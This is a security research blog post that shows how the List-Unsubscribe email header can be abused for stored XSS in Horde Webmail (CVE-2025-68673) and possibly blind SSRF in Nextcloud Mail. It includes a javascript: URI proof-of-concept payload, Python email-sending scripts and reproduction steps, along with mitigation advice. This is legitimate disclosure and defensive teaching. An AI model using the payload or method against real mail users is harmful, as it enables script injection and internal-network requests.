Turning List-Unsubscribe into an SSRF/XSS Gadget

Mon, 22 Dec 2025 22:01:04 -0800

The `List-Unsubscribe` SMTP header is standardized but often overlooked during security assessments. It allows email clients to provide an easy way for end-users to unsubscribe from mailing lists. This post discusses how this header can be abused to perform _Cross-Site Scripting (XSS)_ and _Server-Side Request Forgery (SSRF)_ attacks in certain scenarios. Real-world examples involving _Horde Webmail_ ( **CVE-2025-68673**) and _Nextcloud Mail App_ are provided to illustrate the risks. ## Table of Contents 1. Foundations 2. Blind SSRF: Nextcloud Mail App 3. Recommendations 4. Conclusion ## Foundations The `List-Unsubscribe` SMTP header is defined in _RFC 2369_ 1 and allows email clients to provide an easy way for end-users to unsubscribe from mailing lists. The following examples were taken from RFC 2369, section 3.2: > The List-Unsubscribe field describes the command (preferably using mail) to directly unsubscribe the user (removing them from the list). > > Examples: > > `List-Unsubscribe: List-Unsubscribe: (Use this command to get off the list) List-Unsubscribe: List-Unsubscribe: , ` _In theory, that’s it. Does not sound too exciting for now, right?_ Easy to miss, but the most interesting example was the very last one, which includes both an HTTP URI and a mailto link. **Can we simply add arbitrary `http(s)://` URIs here? What about other schemes?** Many modern email clients and webmail applications have implemented support for this header to improve user experience. For example, when an email includes a `List-Unsubscribe` header, the client may render a button or link that allows the user to unsubscribe with a single click. This is especially interesting in the context of webmail applications, where the unsubscription process can be initiated directly from the web interface. Anchor tags, URIs, … JavaScript URIs? The possibilities are endless. Alternatively, some webmail applications send the unsubscription request server-side when the end-user clicks the unsubscribe button. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities if the application does not properly validate the provided URI. ## Stored XSS via JavaScript URI: Horde Webmail (CVE-2025-68673) A real-world example of a _Stored Cross-Site Scripting (XSS)_ vulnerability was identified in Horde ( _Imp H5 v6.2.27_, used with _Horde Framework_ through _5.2.23_). When an email includes a `List-Unsubscribe` SMTP header, a button is rendered within the message detail view that allows users to unsubscribe directly from mailing lists. A malicious actor can exploit this behavior by including a JavaScript URI ( `javascript:`), which allows them to execute JavaScript in the origin of the Horde installation when an end-user clicks the link: ```

Unsubscribe | javascript://lhq.at/%0aconfirm(document.domain)

``` The following steps can be taken to reproduce the issue: 1. Send an email that includes the JavaScript URI `` within the `List-Unsubscribe`. Adjust `smtp_user` and `smtp_password` as needed: ``` #!/usr/bin/env python3 import smtplib from email.message import EmailMessage def send_email(smtp_server, smtp_port, smtp_user, smtp_password, sender, recipient, subject, body, headers=None): try: # Create the email message msg = EmailMessage() msg.set_content(body) msg['From'] = sender msg['To'] = recipient msg['Subject'] = subject # Add custom headers if provided if headers: for header, value in headers.items(): msg[header] = value # Connect to the SMTP server and send the email with smtplib.SMTP(smtp_server, smtp_port) as server: print(f"Connecting to SMTP server: {smtp_server}:{smtp_port}") server.starttls() print("Starting TLS encryption") server.login(smtp_user, smtp_password) print(f"Logged in as {smtp_user}") server.send_message(msg) print(f"Email sent to {recipient} successfully.") except Exception as e: print(f"Failed to send email: {e}") if __name__ == "__main__": smtp_server = 'mail.your-server.de' smtp_port = 587 smtp_user = '[REDACTED]' smtp_password = '[REDACTED]' sender = 'test@lhq.at' recipient = 'test@lhq.at' subject = 'Test Mail' body = """ Hey! """ headers = { 'List-Unsubscribe': '', 'List-Unsubscribe-Post': 'List-Unsubscribe=One-Click' } send_email(smtp_server, smtp_port, smtp_user, smtp_password, sender, recipient, subject, body, headers) ``` 1. Navigate to Message Detail view (pop-up): `https://[REDACTED]/imp/dynamic.php?page=message&buid=10&mailbox=[REDACTED]&token=[REDACTED]&uniq=[REDACTED]` 2. Click “List Info”: `https://[REDACTED]/imp/dynamic.php?page=message&buid=10&mailbox=[REDACTED]&token=[REDACTED]&uniq=[REDACTED]` 3. Notice that the unsubscribe link at `https://[REDACTED]/imp/basic.php?page=listinfo&u=[REDACTED]&buid=10&mailbox=SU5CT1g&uniq=[REDACTED]` includes the JavaScript URI: `

Unsubscribe | javascript://lhq.at/%0aconfirm(document.domain)

` 4. Click the link and observe the JavaScript evaluation. Because `target="_blank"` is used, you need to either: - Ctrl + click the link - Use the middle button of your mouse to click the link - Right-click and choose “Open in new tab” **This was reported to `security@horde.org` on 2024-12-18 but was not yet acknowledged as of 2025-12-18.** ## Blind SSRF: Nextcloud Mail App Nextcloud’s Mail app supports the `List-Unsubscribe` SMTP header to unsubscribe from mailing lists: When the end-user unsubscribes, the Nextcloud instance issues a server-side request: **During my research, it looked like Nextcloud would allow forging SSRF requests via the `List-Unsubscribe` header to arbitrary internal destinations. However, this seems to be possible only if the development configuration flag `'allow_local_remote_servers' => true` is set or other supporting factors are present that allow exploitation. This is based on Nextcloud’s evaluation in hackerone.com/reports/2902856.** _Note that to enable unsubscription via HTTPS, a valid DKIM signature is required. The following Python script expects that you have DKIM set up and have your private key at hand:_ `send.py` ``` #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim def send_email(smtp_server, smtp_port, smtp_user, smtp_password, sender, recipient, subject, body, headers=None, dkim_selector=None, dkim_domain=None, dkim_private_key=None): try: # Create the email message msg = EmailMessage() msg.set_content(body) msg['From'] = sender msg['To'] = recipient msg['Subject'] = subject # Add custom headers if provided if headers: for header, value in headers.items(): msg[header] = value # Convert the EmailMessage to bytes for DKIM signing email_bytes = msg.as_bytes() # Add DKIM signature if provided if dkim_selector and dkim_domain and dkim_private_key: dkim_header = dkim.sign( message=email_bytes, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=['From', 'To', 'Subject'] ) msg['DKIM-Signature'] = dkim_header[len('DKIM-Signature: '):].decode().replace("\n", "").replace("\r", "") # Connect to the SMTP server and send the email with smtplib.SMTP(smtp_server, smtp_port) as server: print(f"Connecting to SMTP server: {smtp_server}:{smtp_port}") server.starttls() print("Starting TLS encryption") server.login(smtp_user, smtp_password) print(f"Logged in as {smtp_user}") server.send_message(msg) print(f"Email sent to {recipient} successfully.") except Exception as e: print(f"Failed to send email: {e}") # Example usage if __name__ == "__main__": smtp_server = 'mail.your-server.de' smtp_port = 587 smtp_user = '[REDACTED]' smtp_password = '[REDACTED]' sender = 'test@lhq.at' recipient = 'test@lhq.at' subject = '[Your Mailing List] Test Mail' body = """ Test123! """ headers = { 'List-Unsubscribe': '', 'List-Unsubscribe-Post': 'List-Unsubscribe=One-Click' } dkim_selector = 'default' dkim_domain = 'lhq.at' dkim_private_key = """-----BEGIN PRIVATE KEY----- [REDACTED] -----END PRIVATE KEY-----""" send_email(smtp_server, smtp_port, smtp_user, smtp_password, sender, recipient, subject, body, headers, dkim_selector, dkim_domain, dkim_private_key) ``` The following steps can be taken to reproduce the SSRF with external collaborator: 1. Set up DKIM for your domain and update `dkim_selector`, `dkim_domain` and `dkim_private_key`. 2. Adjust `smtp_user` and `smtp_password`. 3. Use the account you will use within the Nextcloud instance as the `recipient`. 4. Use your own collaborator instance in `'List-Unsubscribe': ''`. 5. Send the email via `python send.py`. 6. Browse the received email and click **“unsubscribe”**. ## Recommendations The general recommendation is as simple and self-explanatory as it gets: Consider all input to the application as potentially dangerous, especially when interpreted as a URI/URL. When implementing support for the `List-Unsubscribe` SMTP header, webmail applications should: - Validate and sanitize the provided URIs to prevent XSS attacks. For example, disallow `javascript:` URIs. For further guidance, refer to OWASP XSS Prevention Cheat Sheet2. - Implement proper server-side validation to prevent SSRF attacks. This may include restricting the allowed domains or IP ranges that can be accessed via the unsubscription links. For further guidance, refer to OWASP SSRF Prevention Cheat Sheet3. - Log unsubscription requests for auditing and monitoring purposes. ## Conclusion This post once again showcases that old standards and protocols can still harbor interesting security implications when implemented in modern applications. The `List-Unsubscribe` SMTP header, while designed to enhance user experience, can be exploited for XSS and SSRF attacks if not handled properly. If your bug bounty or pentest target includes a webmail application, consider testing the `List-Unsubscribe` header for potential vulnerabilities. You might be surprised by what you find! Generally speaking, this research highlights the importance of reading and understanding relevant RFCs and standards when assessing applications that implement them. Even seemingly benign features can introduce significant security risks if not implemented with care. If you have any feedback, feel free to reach out via BlueSky, Mastodon, Twitter or LinkedIn. 👨‍💻 You can directly tweet about this post using this link. 🤓